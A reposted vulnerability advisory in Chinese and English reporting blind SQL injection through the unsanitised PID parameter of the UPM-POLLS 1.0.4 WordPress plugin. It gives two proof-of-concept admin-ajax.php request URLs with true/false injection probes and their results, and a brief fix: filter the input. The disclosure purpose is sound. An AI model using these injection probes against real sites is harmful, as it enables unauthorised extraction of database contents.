前文：http://www.2cto.com/Article/201108/99254.html
标题: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4
作者: Saif El-Sherei www.2cto.com
下载 地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip
影响版本: 1.0.4
测试平台: wordpress 3.2.1,Firefox 4, XAMPP
程序相关信息:
Best Plugin to create Polls for your site. Everything is smoother, faster,
and seamless like WordPress itself.
Poll Manager,
Ability to set general and post/page specific polls,
Ability to leaf over the polls
Ability to add certain poll in certain post content
Ability to show polls either with and without current results of
polls
日记:
the Variable PID is not properly sanitized in the get request before
insertion into the database query; allowing an attaacker or any user who
can view poll results (supposedly all user) to use blind sql injection to
extract database data and possibly compromise the whole server. a POC is
provided with both true and false results.
测试示例1(TRUE):
http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=1
"poll results for poll 2 is displayed"
测试示例2 (FALSE):
http://www.2cto.com /wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=2
"Blank page is displayed"
www.2cto.com提供修复方案：
过滤该页面参数输入
查看更多关于Wordpress插件UPM-POLLS 1.0.4盲注及修复 - 网站安全的详细内容...